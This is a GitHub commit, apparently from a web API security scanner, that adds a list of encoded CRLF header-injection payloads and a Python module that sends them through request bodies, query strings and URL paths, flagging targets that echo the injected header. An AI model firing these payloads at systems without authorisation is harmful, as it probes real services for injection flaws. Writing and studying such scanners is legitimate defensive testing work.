-
Notifications
You must be signed in to change notification settings - Fork 404
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Pardeep Battu
committed
Aug 1, 2018
1 parent
dbcde00
commit 9bb6e87
Showing
4 changed files
with
131 additions
and
4 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
%0aCRLF-Test: crlf=injection | ||
%0d%0aCRLF-Test: crlf=injection | ||
%0dCRLF-Test: crlf=injection | ||
%23%0aCRLF-Test: crlf=injection | ||
%23%0d%0aCRLF-Test: crlf=injection | ||
%23%0dCRLF-Test: crlf=injection | ||
%25%30%61CRLF-Test: crlf=injection | ||
%25%30aCRLF-Test: crlf=injection | ||
%250aCRLF-Test: crlf=injection | ||
%25250aCRLF-Test: crlf=injection | ||
%2e%2e%2f%0d%0aCRLF-Test: crlf=injection | ||
%2f%2e%2e%0d%0aCRLF-Test: crlf=injection | ||
%2F..%0d%0aCRLF-Test: crlf=injection | ||
%3f%0d%0aCRLF-Test: crlf=injection | ||
%3f%0dCRLF-Test: crlf=injection | ||
%u000aCRLF-Test: crlf=injection |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,102 @@ | ||
import requests | ||
import os | ||
from urlparse import urlparse | ||
import urlparse | ||
from utils.db import Database_update | ||
import sendrequest as req | ||
|
||
dbupdate = Database_update() | ||
|
||
|
||
def fetch_crlf_payload(): | ||
#This function fetch the payloads from text file. | ||
payload_list = [] | ||
if os.getcwd().split('/')[-1] == 'API': | ||
path = '../Payloads/crlf.txt' | ||
else: | ||
path = '../Payloads/crlf.txt' | ||
|
||
with open(path) as f: | ||
for line in f: | ||
if line: | ||
payload_list.append(line.rstrip()) | ||
|
||
return payload_list | ||
|
||
|
||
|
||
def crlf_post_method(uri,method,headers,body,scanid=None): | ||
# This function checks CRLF through POST method. | ||
temp_body = {} | ||
post_vul_param = '' | ||
db_update = '' | ||
for key,value in body.items(): | ||
crlf_payloads = fetch_crlf_payload() | ||
for payload in crlf_payloads: | ||
temp_body.update(body) | ||
temp_body[key] = payload | ||
crlf_post_request = req.api_request(uri, "POST", headers, temp_body) | ||
#print temp_body | ||
for name in crlf_post_request.headers: | ||
if "CRLF-Test" in name: | ||
attack_result = { "id" : 13, "scanid" : scanid, "url" : uri, "alert": "CRLF injection", "impact": "High", "req_headers": headers, "req_body": temp_body, "res_headers": crlf_post_request.headers ,"res_body": crlf_post_request.text} | ||
dbupdate.insert_record(attack_result) | ||
print "[+] Vulnerable: %s, Body: %s" %(uri, temp_body) | ||
return | ||
|
||
print "\n scan is completed-1 \n" | ||
|
||
|
||
|
||
def crlf_get_uri_method(uri,method,headers,scanid=None): | ||
# This function checks CRLF through GET URI imethod. | ||
par_key = {} | ||
url_query = urlparse.urlparse(uri) | ||
parsed_query = urlparse.parse_qs(url_query.query) | ||
for key,value in parsed_query.items(): | ||
crlf_payloads = fetch_crlf_payload() | ||
for payload in crlf_payloads: | ||
par_key.update(parsed_query) | ||
par_key[key] = payload | ||
parsed_uri_1 = urlparse.urlparse(uri).scheme+"://"+urlparse.urlparse(uri).netloc+urlparse.urlparse(uri).path+"?"+urlparse.urlparse(uri).query.replace(value[0], payload) | ||
crlf_get_method = req.api_request(parsed_uri_1, "GET", headers) | ||
for name in crlf_get_method.headers: | ||
if "CRLF-Test" in name: | ||
attack_result = { "id" : 13, "scanid" : scanid, "url" : parsed_uri_1, "alert": "CRLF injection", "impact": "High", "req_headers": headers, "req_body":"NA", "res_headers": crlf_get_method.headers ,"res_body": crlf_get_method.text} | ||
dbupdate.insert_record(attack_result) | ||
print "[+] Vulnerable: %s, query: %s" % (uri, par_key) | ||
return | ||
|
||
print "\n scan is completed-2 \n" | ||
|
||
|
||
|
||
def crlf_get_url_method(uri,headers,scanid=None): | ||
#This function checks CRLF through GET URL imethod. | ||
crlf_payloads = fetch_crlf_payload() | ||
for payload in crlf_payloads: | ||
parsed_uri = urlparse.urlparse(uri).scheme+"://"+urlparse.urlparse(uri).netloc+urlparse.urlparse(uri).path+"/"+payload | ||
crlf_get_method = req.api_request(parsed_uri, "GET", headers) | ||
print("\n") | ||
for name in crlf_get_method.headers: | ||
if "CRLF-Test" in name: | ||
attack_result = { "id" : 13, "scanid" : scanid, "url" : parsed_uri, "alert": "CRLF injection", "impact": "High", "req_headers": headers, "req_body":"NA", "res_headers": crlf_get_method.headers ,"res_body": crlf_get_method.text} | ||
dbupdate.insert_record(attack_result) | ||
print "[+] Vulnerable: %s" % (parsed_uri) | ||
return | ||
|
||
print "\n scan is completed-3 \n" | ||
|
||
|
||
|
||
def crlf_check(uri,method,headers,body,scanid): | ||
# Main function for CRLF attack | ||
if method == 'GET' or method == 'DEL': | ||
crlf_get_uri_method(uri,method,headers,scanid) | ||
crlf_get_url_method(uri,headers,scanid) | ||
|
||
if method == 'POST' or method == 'PUT': | ||
crlf_post_method(uri,method,headers,body,scanid) | ||
|
||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters